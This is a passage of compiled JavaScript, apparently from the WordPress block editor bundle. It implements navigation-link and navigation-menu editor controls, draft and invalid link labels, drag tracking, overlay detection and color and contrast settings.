                onDeselect: () =&gt; setAttributes({ opensInNewTab: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                  import_components90.CheckboxControl,
                  {
                    label: (0, import_i18n137.__)(&quot;Open in new tab&quot;),
                    checked: opensInNewTab,
                    onChange: (value) =&gt; setAttributes({ opensInNewTab: value })
                  }
                )
              }
            ),
            !!url &amp;&amp; hasUrlBinding &amp;&amp; isBoundEntityAvailable &amp;&amp; entityRecord?.id &amp;&amp; attributes2.kind === &quot;post-type&quot; &amp;&amp; onNavigateToEntityRecord &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.Button,
              {
                variant: &quot;secondary&quot;,
                onClick: () =&gt; {
                  onNavigateToEntityRecord({
                    postId: entityRecord.id,
                    postType: attributes2.type
                  });
                },
                __next40pxDefaultSize: true,
                className: &quot;navigation-link-to__action-button&quot;,
                children: (0, import_i18n137.__)(&quot;Edit&quot;)
              }
            ),
            isViewableUrl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.Button,
              {
                variant: &quot;secondary&quot;,
                href: viewUrl,
                target: &quot;_blank&quot;,
                icon: external_default,
                iconPosition: &quot;right&quot;,
                __next40pxDefaultSize: true,
                className: &quot;navigation-link-to__action-button&quot;,
                children: (0, import_i18n137.__)(&quot;View&quot;)
              }
            )
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
            import_components90.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!description,
              label: (0, import_i18n137.__)(&quot;Description&quot;),
              onDeselect: () =&gt; setAttributes({ description: &quot;&quot; }),
              isShownByDefault: !isContentOnly,
              children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                import_components90.TextareaControl,
                {
                  label: (0, import_i18n137.__)(&quot;Description&quot;),
                  value: description || &quot;&quot;,
                  onChange: (descriptionValue) =&gt; {
                    setAttributes({ description: descriptionValue });
                  },
                  help: (0, import_i18n137.__)(
                    &quot;The description will be displayed in the menu if the current theme supports it.&quot;
                  )
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
            import_components90.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!rel,
              label: (0, import_i18n137.__)(&quot;Rel attribute&quot;),
              onDeselect: () =&gt; setAttributes({ rel: &quot;&quot; }),
              isShownByDefault: !isContentOnly,
              children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                import_components90.TextControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n137.__)(&quot;Rel attribute&quot;),
                  value: rel || &quot;&quot;,
                  onChange: (relValue) =&gt; {
                    setAttributes({ rel: relValue });
                  },
                  autoComplete: &quot;off&quot;,
                  help: (0, import_i18n137.__)(
                    &quot;The relationship of the linked URL as space-separated link types.&quot;
                  )
                }
              )
            }
          )
        ]
      }
    );
  }
  function getInvalidLinkHelpText() {
    return (0, import_i18n137.__)(
      &quot;This link is invalid and will not appear on your site. Please update the link.&quot;
    );
  }
  function getDraftHelpText({ type, kind }) {
    const entityType = getEntityTypeName(type, kind);
    return (0, import_i18n137.sprintf)(
      /* translators: %1$s is the entity type (e.g., &quot;page&quot;, &quot;post&quot;, &quot;category&quot;) */
      (0, import_i18n137.__)(
        &quot;This link is to a draft %1$s and will not appear on your site until the %1$s is published.&quot;
      ),
      entityType
    );
  }

  // packages/block-library/build-module/navigation-link/shared/invalid-draft-display.mjs
  var import_i18n138 = __toESM(require_i18n(), 1);
  var import_html_entities6 = __toESM(require_html_entities(), 1);
  var import_jsx_runtime328 = __toESM(require_jsx_runtime(), 1);
  function InvalidDraftDisplay({
    label,
    isInvalid,
    isDraft,
    className = &quot;wp-block-navigation-link__label&quot;
  }) {
    if (!isInvalid &amp;&amp; !isDraft) {
      return null;
    }
    const statusText = isInvalid ? (
      /* translators: Indicating that the navigation link is Invalid. */
      (0, import_i18n138.__)(&quot;Invalid&quot;)
    ) : (
      /* translators: Indicating that the navigation link is a Draft. */
      (0, import_i18n138.__)(&quot;Draft&quot;)
    );
    return /* @__PURE__ */ (0, import_jsx_runtime328.jsx)(
      &quot;div&quot;,
      {
        className: clsx_default(
          &quot;wp-block-navigation-link__placeholder-text&quot;,
          className,
          {
            &quot;is-invalid&quot;: isInvalid,
            &quot;is-draft&quot;: isDraft
          }
        ),
        children: /* @__PURE__ */ (0, import_jsx_runtime328.jsx)(&quot;span&quot;, {
          // Some attributes are stored in an escaped form. It&#039;s a legacy issue.
          // Ideally they would be stored in a raw, unescaped form.
          // Unescape is used here to &quot;recover&quot; the escaped characters
          // so they display without encoding.
          // See `updateAttributes` for more details.
          children: `${(0, import_html_entities6.decodeEntities)(label)} (${statusText})`.trim()
        })
      }
    );
  }

  // packages/block-library/build-module/navigation-link/shared/use-enable-link-status-validation.mjs
  var import_data83 = __toESM(require_data(), 1);
  var import_block_editor155 = __toESM(require_block_editor(), 1);
  function useEnableLinkStatusValidation(clientId) {
    return (0, import_data83.useSelect)(
      (select9) =&gt; {
        const {
          getSelectedBlockClientId,
          hasSelectedInnerBlock,
          getBlockParentsByBlockName
        } = select9(import_block_editor155.store);
        const selectedBlockId = getSelectedBlockClientId();
        const rootNavigationId = getBlockParentsByBlockName(
          clientId,
          &quot;core/navigation&quot;
        )[0];
        return selectedBlockId === rootNavigationId || hasSelectedInnerBlock(rootNavigationId, true);
      },
      [clientId]
    );
  }

  // packages/block-library/build-module/navigation-link/shared/use-is-dragging-within.mjs
  var import_element78 = __toESM(require_element(), 1);
  var useIsDraggingWithin = (elementRef) =&gt; {
    const [isDraggingWithin, setIsDraggingWithin] = (0, import_element78.useState)(false);
    (0, import_element78.useEffect)(() =&gt; {
      const { ownerDocument } = elementRef.current;
      function handleDragStart(event) {
        handleDragEnter(event);
      }
      function handleDragEnd() {
        setIsDraggingWithin(false);
      }
      function handleDragEnter(event) {
        if (elementRef.current.contains(event.target)) {
          setIsDraggingWithin(true);
        } else {
          setIsDraggingWithin(false);
        }
      }
      ownerDocument.addEventListener(&quot;dragstart&quot;, handleDragStart);
      ownerDocument.addEventListener(&quot;dragend&quot;, handleDragEnd);
      ownerDocument.addEventListener(&quot;dragenter&quot;, handleDragEnter);
      return () =&gt; {
        ownerDocument.removeEventListener(&quot;dragstart&quot;, handleDragStart);
        ownerDocument.removeEventListener(&quot;dragend&quot;, handleDragEnd);
        ownerDocument.removeEventListener(&quot;dragenter&quot;, handleDragEnter);
      };
    }, [elementRef]);
    return isDraggingWithin;
  };

  // packages/block-library/build-module/navigation-link/shared/select-label-text.mjs
  function selectLabelText(ref) {
    ref.current.focus();
    const { ownerDocument } = ref.current;
    const { defaultView } = ownerDocument;
    const selection = defaultView.getSelection();
    const range = ownerDocument.createRange();
    range.selectNodeContents(ref.current);
    selection.removeAllRanges();
    selection.addRange(range);
  }

  // packages/block-library/build-module/navigation/edit/menu-inspector-controls.mjs
  var import_jsx_runtime329 = __toESM(require_jsx_runtime(), 1);
  var actionLabel = (
    /* translators: %s: The name of a menu. */
    (0, import_i18n139.__)(&quot;Switch to &#039;%s&#039;&quot;)
  );
  var BLOCKS_WITH_LINK_UI_SUPPORT = [
    &quot;core/navigation-link&quot;,
    &quot;core/navigation-submenu&quot;
  ];
  var {
    PrivateListView,
    useBlockDisplayTitle,
    PrivateBlockContext,
    useListViewPanelState
  } = unlock(import_block_editor156.privateApis);
  function AdditionalBlockContent({ block, insertedBlock, setInsertedBlock }) {
    const { updateBlockAttributes, removeBlock } = (0, import_data84.useDispatch)(import_block_editor156.store);
    const supportsLinkControls = BLOCKS_WITH_LINK_UI_SUPPORT?.includes(
      insertedBlock?.name
    );
    const blockWasJustInserted = insertedBlock?.clientId === block.clientId;
    const showLinkControls = supportsLinkControls &amp;&amp; blockWasJustInserted;
    const { createBinding, clearBinding } = useEntityBinding({
      clientId: insertedBlock?.clientId,
      attributes: insertedBlock?.attributes || {}
    });
    if (!showLinkControls) {
      return null;
    }
    const cleanupInsertedBlock = () =&gt; {
      const shouldAutoSelectBlock = false;
      if (!insertedBlock?.attributes?.url &amp;&amp; insertedBlock?.clientId) {
        removeBlock(insertedBlock.clientId, shouldAutoSelectBlock);
      }
      setInsertedBlock(null);
    };
    const setInsertedBlockAttributes = (_insertedBlockClientId) =&gt; (_updatedAttributes) =&gt; {
      if (!_insertedBlockClientId) {
        return;
      }
      updateBlockAttributes(_insertedBlockClientId, _updatedAttributes);
    };
    const handleSetInsertedBlock = (newBlock) =&gt; {
      const shouldAutoSelectBlock = false;
      if (insertedBlock?.clientId &amp;&amp; newBlock) {
        removeBlock(insertedBlock.clientId, shouldAutoSelectBlock);
      }
      setInsertedBlock(newBlock);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
      LinkUI,
      {
        clientId: insertedBlock?.clientId,
        link: insertedBlock?.attributes,
        onBlockInsert: handleSetInsertedBlock,
        onClose: () =&gt; {
          cleanupInsertedBlock();
        },
        onChange: (updatedValue) =&gt; {
          const { isEntityLink, attributes: updatedAttributes } = updateAttributes(
            updatedValue,
            setInsertedBlockAttributes(insertedBlock?.clientId),
            insertedBlock?.attributes
          );
          if (isEntityLink) {
            createBinding(updatedAttributes);
          } else {
            clearBinding();
          }
          setInsertedBlock(null);
        }
      }
    );
  }
  var MainContent = ({
    clientId,
    currentMenuId,
    isLoading,
    isNavigationMenuMissing,
    onCreateNew,
    expandRevision
  }) =&gt; {
    const hasChildren = (0, import_data84.useSelect)(
      (select9) =&gt; {
        return !!select9(import_block_editor156.store).getBlockCount(clientId);
      },
      [clientId]
    );
    const { openListViewContentPanel } = unlock(
      (0, import_data84.useDispatch)(import_block_editor156.store)
    );
    const { navigationMenu } = useNavigationMenu(currentMenuId);
    if (currentMenuId &amp;&amp; isNavigationMenuMissing) {
      return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(deleted_navigation_warning_default, { onCreateNew, isNotice: true });
    }
    if (isLoading) {
      return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(import_components91.Spinner, {});
    }
    const description = navigationMenu ? (0, import_i18n139.sprintf)(
      /* translators: %s: The name of a menu. */
      (0, import_i18n139.__)(&quot;Structure for Navigation Menu: %s&quot;),
      navigationMenu?.title || (0, import_i18n139.__)(&quot;Untitled menu&quot;)
    ) : (0, import_i18n139.__)(
      &quot;You have not yet created any menus. Displaying a list of your Pages&quot;
    );
    return /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)(&quot;div&quot;, { className: &quot;wp-block-navigation__menu-inspector-controls&quot;, children: [
      !hasChildren &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(&quot;p&quot;, { className: &quot;wp-block-navigation__menu-inspector-controls__empty-message&quot;, children: (0, import_i18n139.__)(&quot;This Navigation Menu is empty.&quot;) }),
      /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
        PrivateListView,
        {
          rootClientId: clientId,
          isExpanded: true,
          description,
          showAppender: true,
          blockSettingsMenu: LeafMoreMenu,
          additionalBlockContent: AdditionalBlockContent,
          onSelect: openListViewContentPanel
        },
        `${clientId}-${expandRevision}`
      )
    ] });
  };
  var MenuInspectorControls = (props) =&gt; {
    const {
      clientId,
      createNavigationMenuIsSuccess,
      createNavigationMenuIsError,
      currentMenuId = null,
      onCreateNew,
      onSelectClassicMenu,
      onSelectNavigationMenu,
      isManageMenusButtonDisabled,
      blockEditingMode
    } = props;
    const { isSelectionWithinCurrentSection } = (0, import_element79.useContext)(PrivateBlockContext);
    const blockTitle = useBlockDisplayTitle({
      clientId,
      context: &quot;list-view&quot;
    });
    const showBlockTitle = isSelectionWithinCurrentSection;
    const { isOpened, expandRevision, handleToggle } = useListViewPanelState(clientId);
    if (!showBlockTitle) {
      return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(import_block_editor156.InspectorControls, { group: &quot;list&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)(import_components91.PanelBody, { title: null, children: [
        /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)(import_components91.__experimentalHStack, { className: &quot;wp-block-navigation-off-canvas-editor__header&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
            import_components91.__experimentalHeading,
            {
              className: &quot;wp-block-navigation-off-canvas-editor__title&quot;,
              level: 2,
              children: blockTitle
            }
          ),
          blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
            navigation_menu_selector_default,
            {
              currentMenuId,
              onSelectClassicMenu,
              onSelectNavigationMenu,
              onCreateNew,
              createNavigationMenuIsSuccess,
              createNavigationMenuIsError,
              actionLabel,
              isManageMenusButtonDisabled
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
          MainContent,
          {
            ...props,
            expandRevision
          }
        )
      ] }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(import_block_editor156.InspectorControls, { group: &quot;list&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime329.jsxs)(
      import_components91.PanelBody,
      {
        title: (0, import_i18n139.__)(&quot;Navigation&quot;),
        opened: isOpened,
        onToggle: handleToggle,
        children: [
          blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(
            navigation_menu_selector_default,
            {
              currentMenuId,
              onSelectClassicMenu,
              onSelectNavigationMenu,
              onCreateNew,
              createNavigationMenuIsSuccess,
              createNavigationMenuIsError,
              actionLabel,
              isManageMenusButtonDisabled
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime329.jsx)(MainContent, { ...props, expandRevision })
        ]
      }
    ) });
  };
  var menu_inspector_controls_default = MenuInspectorControls;

  // packages/block-library/build-module/navigation/edit/accessible-description.mjs
  var import_components92 = __toESM(require_components(), 1);
  var import_jsx_runtime330 = __toESM(require_jsx_runtime(), 1);
  function AccessibleDescription({ id, children }) {
    return /* @__PURE__ */ (0, import_jsx_runtime330.jsx)(import_components92.VisuallyHidden, { children: /* @__PURE__ */ (0, import_jsx_runtime330.jsx)(&quot;div&quot;, { id, className: &quot;wp-block-navigation__description&quot;, children }) });
  }

  // packages/block-library/build-module/navigation/edit/accessible-menu-description.mjs
  var import_core_data47 = __toESM(require_core_data(), 1);
  var import_i18n140 = __toESM(require_i18n(), 1);
  var import_jsx_runtime331 = __toESM(require_jsx_runtime(), 1);
  function AccessibleMenuDescription({ id }) {
    const [menuTitle] = (0, import_core_data47.useEntityProp)(&quot;postType&quot;, &quot;wp_navigation&quot;, &quot;title&quot;);
    const description = (0, import_i18n140.sprintf)((0, import_i18n140.__)(`Navigation Menu: &quot;%s&quot;`), menuTitle);
    return /* @__PURE__ */ (0, import_jsx_runtime331.jsx)(AccessibleDescription, { id, children: description });
  }

  // packages/block-library/build-module/utils/is-within-overlay.mjs
  var import_data85 = __toESM(require_data(), 1);
  var import_core_data48 = __toESM(require_core_data(), 1);
  function isWithinNavigationOverlay() {
    const editorStore = (0, import_data85.select)(&quot;core/editor&quot;);
    if (!editorStore) {
      return false;
    }
    const { getCurrentPostType, getCurrentPostId } = editorStore;
    const { getEditedEntityRecord } = (0, import_data85.select)(import_core_data48.store);
    const postType = getCurrentPostType?.();
    const postId = getCurrentPostId?.();
    if (postType === &quot;wp_template_part&quot; &amp;&amp; postId) {
      const templatePart = getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template_part&quot;,
        postId
      );
      return templatePart?.area === NAVIGATION_OVERLAY_TEMPLATE_PART_AREA;
    }
    return false;
  }

  // packages/block-library/build-module/navigation/edit/index.mjs
  var import_jsx_runtime332 = __toESM(require_jsx_runtime(), 1);
  function NavigationAddPageButton({ clientId }) {
    const { insertBlock } = (0, import_data86.useDispatch)(import_block_editor157.store);
    const { getBlockCount } = (0, import_data86.useSelect)(import_block_editor157.store);
    const onAddPage = (0, import_element80.useCallback)(() =&gt; {
      const blockCount = getBlockCount(clientId);
      const newBlock = (0, import_blocks62.createBlock)(DEFAULT_BLOCK5.name, {
        kind: DEFAULT_BLOCK5.attributes.kind,
        type: DEFAULT_BLOCK5.attributes.type
      });
      insertBlock(newBlock, blockCount, clientId);
    }, [clientId, insertBlock, getBlockCount]);
    return /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_components93.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
      import_components93.ToolbarButton,
      {
        name: &quot;add-page&quot;,
        icon: page_default,
        onClick: onAddPage,
        children: (0, import_i18n141.__)(&quot;Add page&quot;)
      }
    ) }) });
  }
  function ColorTools({
    textColor,
    setTextColor,
    backgroundColor,
    setBackgroundColor,
    overlayTextColor,
    setOverlayTextColor,
    overlayBackgroundColor,
    setOverlayBackgroundColor,
    clientId,
    navRef,
    hasCustomOverlay
  }) {
    const [detectedBackgroundColor, setDetectedBackgroundColor] = (0, import_element80.useState)();
    const [detectedColor, setDetectedColor] = (0, import_element80.useState)();
    const [
      detectedOverlayBackgroundColor,
      setDetectedOverlayBackgroundColor
    ] = (0, import_element80.useState)();
    const [detectedOverlayColor, setDetectedOverlayColor] = (0, import_element80.useState)();
    const isWithinOverlay = (0, import_data86.useSelect)(() =&gt; isWithinNavigationOverlay(), []);
    const enableContrastChecking = import_element80.Platform.OS === &quot;web&quot;;
    (0, import_element80.useEffect)(() =&gt; {
      if (!enableContrastChecking) {
        return;
      }
      detectColors(
        navRef.current,
        setDetectedColor,
        setDetectedBackgroundColor
      );
      const subMenuElement = navRef.current?.querySelector(
        &#039;[data-type=&quot;core/navigation-submenu&quot;] [data-type=&quot;core/navigation-link&quot;]&#039;
      );
      if (!subMenuElement) {
        return;
      }
      if (overlayTextColor.color || overlayBackgroundColor.color) {
        detectColors(
          subMenuElement,
          setDetectedOverlayColor,
          setDetectedOverlayBackgroundColor
        );
      }
    }, [
      enableContrastChecking,
      overlayTextColor.color,
      overlayBackgroundColor.color,
      navRef
    ]);
    const colorGradientSettings = (0, import_block_editor157.__experimentalUseMultipleOriginColorsAndGradients)();
    if (!colorGradientSettings.hasColorsOrGradients) {
      return null;
    }
    const colorSettings = [
      {
        colorValue: textColor.color,
        label: (0, import_i18n141.__)(&quot;Text&quot;),
        onColorChange: setTextColor,
        resetAllFilter: () =&gt; setTextColor(),
        clearable: true,
        enableAlpha: true
      },
      {
        colorValue: backgroundColor.color,
        label: (0, import_i18n141.__)(&quot;Background&quot;),
        onColorChange: setBackgroundColor,
        resetAllFilter: () =&gt; setBackgroundColor(),
        clearable: true,
        enableAlpha: true
      }
    ];
    colorSettings.push(
      {
        colorValue: overlayTextColor.color,
        label: hasCustomOverlay || isWithinOverlay ? (0, import_i18n141.__)(&quot;Submenu text&quot;) : (0, import_i18n141.__)(&quot;Submenu &amp; overlay text&quot;),
        onColorChange: setOverlayTextColor,
        resetAllFilter: () =&gt; setOverlayTextColor(),
        clearable: true,
        enableAlpha: true
      },
      {
        colorValue: overlayBackgroundColor.color,
        label: hasCustomOverlay || isWithinOverlay ? (0, import_i18n141.__)(&quot;Submenu background&quot;) : (0, import_i18n141.__)(&quot;Submenu &amp; overlay background&quot;),
        onColorChange: setOverlayBackgroundColor,
        resetAllFilter: () =&gt; setOverlayBackgroundColor(),
        clearable: true,
        enableAlpha: true
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        import_block_editor157.__experimentalColorGradientSettingsDropdown,
        {
          __experimentalIsRenderedInSidebar: true,
          settings: colorSettings,
          panelId: clientId,
          ...colorGradientSettings,
          gradients: [],
          disableCustomGradients: true
        }
      ),
      enableContrastChecking &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          import_block_editor157.ContrastChecker,
          {
            backgroundColor: detectedBackgroundColor,
            textColor: detectedColor
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          import_block_editor157.ContrastChecker,
          {
            backgroundColor: detectedOverlayBackgroundColor,
            textColor: detectedOverlayColor
          }
        )
      ] })
    ] });
  }
  function Navigation({
    attributes: attributes2,
    setAttributes,
    clientId,
    isSelected,
    className,
    backgroundColor,
    setBackgroundColor,
    textColor,
    setTextColor,
    overlayBackgroundColor,
    setOverlayBackgroundColor,
    overlayTextColor,
    setOverlayTextColor,
    // These props are used by the navigation editor to override specific
    // navigation block settings.
    customPlaceholder: CustomPlaceholder = null,
    __unstableLayoutClassNames: layoutClassNames
  }) {
    const {
      submenuVisibility,
      overlayMenu,
      overlay,
      showSubmenuIcon,
      templateLock,
      layout: {
        justifyContent,
        orientation = &quot;horizontal&quot;,
        flexWrap = &quot;wrap&quot;
      } = {},
      hasIcon,
      icon: icon4 = &quot;handle&quot;
    } = attributes2;
    const ref = attributes2.ref;
    const setRef = (0, import_element80.useCallback)(
      (postId) =&gt; {
        setAttributes({ ref: postId });
      },
      [setAttributes]
    );
    (0, import_element80.useEffect)(() =&gt; {
      if (orientation === &quot;horizontal&quot; &amp;&amp; submenuVisibility === &quot;always&quot;) {
        setAttributes({
          submenuVisibility: &quot;hover&quot;,
          showSubmenuIcon: true
        });
      }
    }, [orientation, submenuVisibility, setAttributes]);
    const recursionId = `navigationMenu/${ref}`;
    const recursionDetected = (0, import_block_editor157.useHasRecursion)(recursionId);
    const { isPreviewMode, onNavigateToEntityRecord, currentTheme } = (0, import_data86.useSelect)(
      (select9) =&gt; {
        const { getSettings: getSettings2 } = select9(import_block_editor157.store);
        const settings122 = getSettings2();
        return {
          isPreviewMode: settings122.isPreviewMode,
          onNavigateToEntityRecord: settings122?.onNavigateToEntityRecord,
          // Needed to construct the template part ID for the overlay preview.
          currentTheme: select9(import_core_data49.store).getCurrentTheme()?.stylesheet
        };
      },
      []
    );
    const hasAlreadyRendered = isPreviewMode ? false : recursionDetected;
    const blockEditingMode = (0, import_block_editor157.useBlockEditingMode)();
    const { menus: classicMenus } = useNavigationEntities();
    const [showNavigationMenuStatusNotice, hideNavigationMenuStatusNotice] = use_navigation_notice_default({
      name: &quot;block-library/core/navigation/status&quot;
    });
    const [showClassicMenuConversionNotice, hideClassicMenuConversionNotice] = use_navigation_notice_default({
      name: &quot;block-library/core/navigation/classic-menu-conversion&quot;
    });
    const [
      showNavigationMenuPermissionsNotice,
      hideNavigationMenuPermissionsNotice
    ] = use_navigation_notice_default({
      name: &quot;block-library/core/navigation/permissions/update&quot;
    });
    const {
      create: createNavigationMenu,
      status: createNavigationMenuStatus,
      error: createNavigationMenuError,
      value: createNavigationMenuPost,
      isPending: isCreatingNavigationMenu,
      isSuccess: createNavigationMenuIsSuccess,
      isError: createNavigationMenuIsError
    } = useCreateNavigationMenu(clientId);
    const createUntitledEmptyNavigationMenu = async () =&gt; {
      await createNavigationMenu(&quot;&quot;);
    };
    const {
      hasUncontrolledInnerBlocks,
      uncontrolledInnerBlocks,
      isInnerBlockSelected,
      innerBlocks
    } = useInnerBlocks(clientId);
    const hasPageListWithSubmenuRef = (0, import_element80.useRef)(false);
    const hasSubmenus = (0, import_data86.useSelect)(
      (select9) =&gt; {
        const hasNavigationSubmenu = innerBlocks.some(
          (block) =&gt; block.name === &quot;core/navigation-submenu&quot;
        );
        if (hasNavigationSubmenu) {
          return true;
        }
        const pageList = innerBlocks.find(
          (block) =&gt; block.name === &quot;core/page-list&quot;
        );
        if (!pageList) {
          hasPageListWithSubmenuRef.current = false;
          return false;
        }
        if (hasPageListWithSubmenuRef.current) {
          return true;
        }
        const { getBlocks } = select9(import_block_editor157.store);
        const pageListBlocks = getBlocks(pageList.clientId);
        if (pageListBlocks.length &gt; 0) {
          hasPageListWithSubmenuRef.current = true;
          return true;
        }
        return false;
      },
      [innerBlocks]
    );
    const { records: overlayTemplateParts } = (0, import_core_data49.useEntityRecords)(
      &quot;postType&quot;,
      &quot;wp_template_part&quot;,
      {
        per_page: -1
      }
    );
    const hasOverlays = overlayTemplateParts?.some(
      (templatePart) =&gt; templatePart.area === NAVIGATION_OVERLAY_TEMPLATE_PART_AREA
    ) ?? false;
    const {
      replaceInnerBlocks,
      selectBlock,
      __unstableMarkNextChangeAsNotPersistent
    } = (0, import_data86.useDispatch)(import_block_editor157.store);
    const [isResponsiveMenuOpen, setResponsiveMenuVisibility] = (0, import_element80.useState)(false);
    const [overlayMenuPreview, setOverlayMenuPreview] = (0, import_element80.useState)(false);
    const {
      hasResolvedNavigationMenus,
      isNavigationMenuResolved,
      isNavigationMenuMissing,
      canUserUpdateNavigationMenu,
      hasResolvedCanUserUpdateNavigationMenu,
      canUserDeleteNavigationMenu,
      hasResolvedCanUserDeleteNavigationMenu,
      canUserCreateNavigationMenus,
      isResolvingCanUserCreateNavigationMenus,
      hasResolvedCanUserCreateNavigationMenus
    } = useNavigationMenu(ref);
    const navMenuResolvedButMissing = hasResolvedNavigationMenus &amp;&amp; isNavigationMenuMissing;
    const {
      convert: convertClassicMenu,
      status: classicMenuConversionStatus,
      error: classicMenuConversionError
    } = use_convert_classic_menu_to_block_menu_default(createNavigationMenu);
    const isConvertingClassicMenu = classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_PENDING;
    const handleUpdateMenu = (0, import_element80.useCallback)(
      (menuId, options2 = { focusNavigationBlock: false }) =&gt; {
        const { focusNavigationBlock } = options2;
        setRef(menuId);
        if (focusNavigationBlock) {
          selectBlock(clientId);
        }
      },
      [selectBlock, clientId, setRef]
    );
    const isEntityAvailable = !isNavigationMenuMissing &amp;&amp; isNavigationMenuResolved;
    const hasUnsavedBlocks = hasUncontrolledInnerBlocks &amp;&amp; !isEntityAvailable;
    const { getNavigationFallbackId } = unlock((0, import_data86.useSelect)(import_core_data49.store));
    const navigationFallbackId = !(ref || hasUnsavedBlocks) ? getNavigationFallbackId() : null;
    (0, import_element80.useEffect)(() =&gt; {
      if (ref || hasUnsavedBlocks || !navigationFallbackId) {
        return;
      }
      __unstableMarkNextChangeAsNotPersistent();
      setRef(navigationFallbackId);
    }, [
      ref,
      setRef,
      hasUnsavedBlocks,
      navigationFallbackId,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const navRef = (0, import_element80.useRef)();
    const isWithinOverlay = (0, import_data86.useSelect)(() =&gt; isWithinNavigationOverlay(), []);
    const TagName2 = isWithinOverlay ? &quot;div&quot; : &quot;nav&quot;;
    const isPlaceholder = !ref &amp;&amp; !isCreatingNavigationMenu &amp;&amp; !isConvertingClassicMenu &amp;&amp; hasResolvedNavigationMenus &amp;&amp; classicMenus?.length === 0 &amp;&amp; !hasUncontrolledInnerBlocks;
    const isLoading = !hasResolvedNavigationMenus || isCreatingNavigationMenu || isConvertingClassicMenu || !!(ref &amp;&amp; !isEntityAvailable &amp;&amp; !isConvertingClassicMenu);
    const textDecoration = attributes2.style?.typography?.textDecoration;
    const hasBlockOverlay = (0, import_data86.useSelect)(
      (select9) =&gt; select9(import_block_editor157.store).__unstableHasActiveBlockOverlayActive(
        clientId
      ),
      [clientId]
    );
    const hasSetOverlayDefault = (0, import_element80.useRef)(false);
    (0, import_element80.useEffect)(() =&gt; {
      if (!isWithinOverlay) {
        return;
      }
      if (overlayMenu !== &quot;never&quot;) {
        setAttributes({ overlayMenu: &quot;never&quot; });
      }
      if (!hasSetOverlayDefault.current &amp;&amp; !ref) {
        hasSetOverlayDefault.current = true;
        setAttributes({
          submenuVisibility: &quot;always&quot;,
          layout: {
            ...attributes2.layout,
            orientation: &quot;vertical&quot;
          },
          showSubmenuIcon: false
        });
      }
    }, [
      attributes2.layout,
      isWithinOverlay,
      overlayMenu,
      ref,
      setAttributes
    ]);
    const isResponsive = &quot;never&quot; !== overlayMenu;
    const blockProps = (0, import_block_editor157.useBlockProps)({
      ref: navRef,
      className: clsx_default(
        className,
        {
          &quot;items-justified-right&quot;: justifyContent === &quot;right&quot;,
          &quot;items-justified-space-between&quot;: justifyContent === &quot;space-between&quot;,
          &quot;items-justified-left&quot;: justifyContent === &quot;left&quot;,
          &quot;items-justified-center&quot;: justifyContent === &quot;center&quot;,
          &quot;is-vertical&quot;: orientation === &quot;vertical&quot;,
          &quot;no-wrap&quot;: flexWrap === &quot;nowrap&quot;,
          &quot;is-responsive&quot;: isResponsive,
          &quot;has-text-color&quot;: !!textColor.color || !!textColor?.class,
          [(0, import_block_editor157.getColorClassName)(&quot;color&quot;, textColor?.slug)]: !!textColor?.slug,
          &quot;has-background&quot;: !!backgroundColor.color || backgroundColor.class,
          [(0, import_block_editor157.getColorClassName)(
            &quot;background-color&quot;,
            backgroundColor?.slug
          )]: !!backgroundColor?.slug,
          [`has-text-decoration-${textDecoration}`]: textDecoration,
          &quot;block-editor-block-content-overlay&quot;: hasBlockOverlay
        },
        layoutClassNames
      ),
      style: {
        color: !textColor?.slug &amp;&amp; textColor?.color,
        backgroundColor: !backgroundColor?.slug &amp;&amp; backgroundColor?.color
      }
    });
    const onSelectClassicMenu = async (classicMenu) =&gt; {
      return convertClassicMenu(classicMenu.id, classicMenu.name, &quot;draft&quot;);
    };
    const onSelectNavigationMenu = (menuId) =&gt; {
      handleUpdateMenu(menuId);
    };
    (0, import_element80.useEffect)(() =&gt; {
      hideNavigationMenuStatusNotice();
      if (isCreatingNavigationMenu) {
        (0, import_a11y3.speak)((0, import_i18n141.__)(`Creating Navigation Menu.`));
      }
      if (createNavigationMenuIsSuccess) {
        handleUpdateMenu(createNavigationMenuPost?.id, {
          focusNavigationBlock: true
        });
        showNavigationMenuStatusNotice(
